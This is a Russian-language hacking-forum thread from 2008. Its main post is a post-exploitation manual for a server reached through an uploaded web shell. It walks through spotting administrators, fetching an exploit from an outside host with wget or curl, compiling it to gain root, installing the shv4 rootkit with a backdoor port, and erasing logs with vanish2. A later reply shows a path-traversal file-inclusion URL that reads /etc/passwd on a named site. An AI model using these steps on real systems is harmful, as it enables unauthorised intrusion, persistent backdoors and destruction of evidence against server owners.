
"Мы" в сети...
#1
Отправлено 13 ���� 2008 - 07:18
Я обьясню суть...
Меня часто спрашивают, что делать, после того как шелл был залит и получен доступ к файловой системе удаленной системы.
Поэтому я решил написать небольшой мануал о том, что же все-таки делать после того как ты залил шелл и оказался по ту сторону сайта, то есть на сервере.
у приступим.Допустим мы с вами воспользовались найденной уязвимостью и нам удалось оказаться по ту сторону сайта, на сервере.
1. Есть ли кто?
Для начала надо посмотреть есть ли кто нить в системе кроме нас, есть ли админы, как давно заходил админ.
Все это можно проделать командой
Код:
who или last -n 10
допустим мы скомандовали who и в ответ получили вот это
Код:
[xzone@hahost ~]$ who xzone pts/3 Jul 5 09:44 (89.184.2.9)
как видим в системе сейчас мы одни. Теперь скомандуем last - 10 и посмотрим историю входов, а точнее последние 10 входов.
Код:
[xzone@hahost ~]$ last -n 10 xzone pts/3 89.184.*.* Wed Jul 5 09:44 still logged in xzone pts/3 89.184.*.* Wed Jul 5 09:44 - 09:44 (00:00) ljsoft ftpd13508 82.162.12.215 Wed Jul 5 09:41 - 09:41 (00:00) ljsoft ftpd10081 82.162.12.215 Wed Jul 5 09:37 still logged in admin@wo ftpd10074 72.9.238.114 Wed Jul 5 09:37 - 09:37 (00:00) ljsoft ftpd7911 82.162.12.215 Wed Jul 5 09:33 - 09:34 (00:00) ljsoft ftpd7822 82.162.12.215 Wed Jul 5 09:33 - 09:33 (00:00) ljsoft ftpd7714 82.162.12.215 Wed Jul 5 09:33 still logged in ljsoft ftpd20043 82.162.12.100 Wed Jul 5 09:09 - 09:12 (00:02) backup ftpd32504 127.0.0.1 Wed Jul 5 05:23 - 05:23 (00:00) wtmp begins Sat Jul 1 05:01:35 2006
так как сечас в системе root'а нет поэтому мы можем спокойно работать дальше. Но стоит изредка проверять, не пришел ли админ
сервака, чтобы не пропалиться.
2. Куда мы попали?
Настало время осмотреться, куда же мы все-таки попали. Для этого достаточно выполнить команду uname -a. Вывод, которой нам
повествует о том, какая же это система.
Код:
Linux 2.6.8-022stab077-smp-hb #4 SMP Fri Jun 23 22:59:49 MSD 2006 x86_64 x86_64 x86_64 GNU/Linux
Теперь мы знаем, куда мы попали.
3. Собираем инфу о системе.
Наверное, самый важный момент это собрать как можно больше информации об удаленной системе. Ну, версию оси мы уже выяснили
командой uname -a. Теперь выясним, какие же качалки присутствуют на сервере, а также есть ли компилятор gcc. Это понадобиться
нам для того, чтобы в дальнейшем мы смогли залить сплойт, если собираемся поэксплуатировать систему.
Выполним следующие команды и узнаем, какие качалки есть.
Код:
[xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl /usr/bin/lynx /usr/bin/which: no links in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin) /usr/bin/which: no get in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin) /usr/bin/wget /usr/bin/which: no fetch in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin) /usr/bin/curl
проверим, есть ли компилятор
Код:
[xzone@hahost ~]$ which gcc /usr/bin/gcc
ну вот мы выяснили, что на серваке есть wget и curl, а также есть компилятор gcc. Идем дальше.
4. Подбираем сплойт.
Ну, подбор сплойта это даже тема отдельной статьи, так как сплойтов великое множество. Да и система, приведенная нами в
пример
не очень удачна, так как на ней многие сплойты просто не компиляться (x86_64 x86_64 x86_64 GNU/Linux). Архитектура понимаешь!
Так что допустим мы нашли сплойт под эту версию и теперь мы его хотим заюзать.
5. Юзаем сплойт.
Как уже было сказано сплойт мы нашли, осталось дело за малым залить его и запустить ). Для этого перейдем в папку /tmp. Папка
/tmp всегда открыта для записи, что собственно нам и нужно.
командой
Код:
cd /tmp
мы переходим в папку. Теперь заливаем туда найденный нами сплойт качалкой wget
Код:
wget http://site.ru/sploit.c
если же нету качалки wget то мона заюзать curl ну или те которые есть.
Код:
curl http://site.ru/sploit.c > sploit.c
далее выполним команду
Код:
ls -al sploit.c
чем собственно и проверим залился ли наш сплойт. Если сплойт удачно залился, надо его откомпилить. Для этого скомандуем вот
так (Для разных сплойтов может быть по разному, привожу пример простейшего случая!!!)
Код:
gcc sploit.c -o sploit
допустим наш сплойт скомпилился на ура. Теперь дадим егму нужные права на выполнение. Делается это командой chmod с
различными параметрами. Нам нужен параметр +x, который дает права на запуск.
Код:
chmod +x sploit
и наконец запускаем.
Код:
./sploit
после работы сплойта проверим свои права в системе командой id
если мы увидим что-то врожде этого
uid=0(root) gid=0(root)
то самое время кричать УРААА!!! Это значит, что мы рут!
А если права остануться что и прежде значит облом.
6. Закрепляемся в ситеме
Закрепление в системе происходит по средством руткита. Для этого скачиваем руткит-возьмём shv4.
Код:
wget http://splo1t.narod....its/shv4.tar.gz tar xzf shv4.tar.gz cd shv4 chmod +x setup ./setup root 1280
где pass(пароль) и 1280(порт) ваши значения. Чтобы избежать проблем не надо вешать реткит на высокий порт.
Заходит в putty указываем сайт, порт и конектимся. Имя root,а пароль тот что вы указали при настройке.
В моём случае это root.
После того как мы зашли, проверим, светиться ли нащ порт. Выполним команду
Код:
nestat -an
Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа
Осталось, почистить логи.
7. Чистим логи.
Но после всех наших преключений остануться логи. Все наши действия будут записаны, для хакера это смерть! Поэтому их надо
почистить. Для чистки логов я пользуюсь такой замечательной программой как vanish2. vanish2 - одна из лучших под *nix.
скачиваем vanish2
ставим права на запуск
Код:
chmod +x vanish2.
Собираем
Код:
gcc vanish2.c –o vanish
Запускаем:
Код:
./vanish root name_site 127.0.0.1
Где 127.0.0.1 ваш реальный ip.
Если мы увидим надпись V_A_N_I_S_H_E_D_! то значит все ok! Мы все почистили.
Статью писал долго и кропотливо прошу заценить...
Она может походить на другие так как инфа черпалась из других статей...
#2
Отправлено 15 ���� 2008 - 07:50
#3
Отправлено 30 ���� 2008 - 09:56
есть такая фишка,инслуде))
При помоши этой функции можно подключить любой файл, если переменной присвоенно значение ID то она уже потенциально опасна.
Т.Е. http://www.shram.kie...?ID=/index.html если немного поколдовать то получиться следушее:http://www.shram.kiev.ua/index.php?ID=/..../../etc/passwd
Если вы увидели файл /etc/passwd можете прыгать до потолка вы получили желаемое=)
ВНИМАНЕЕ!!!
Данный сат устойчив к этой баге, Проверенно!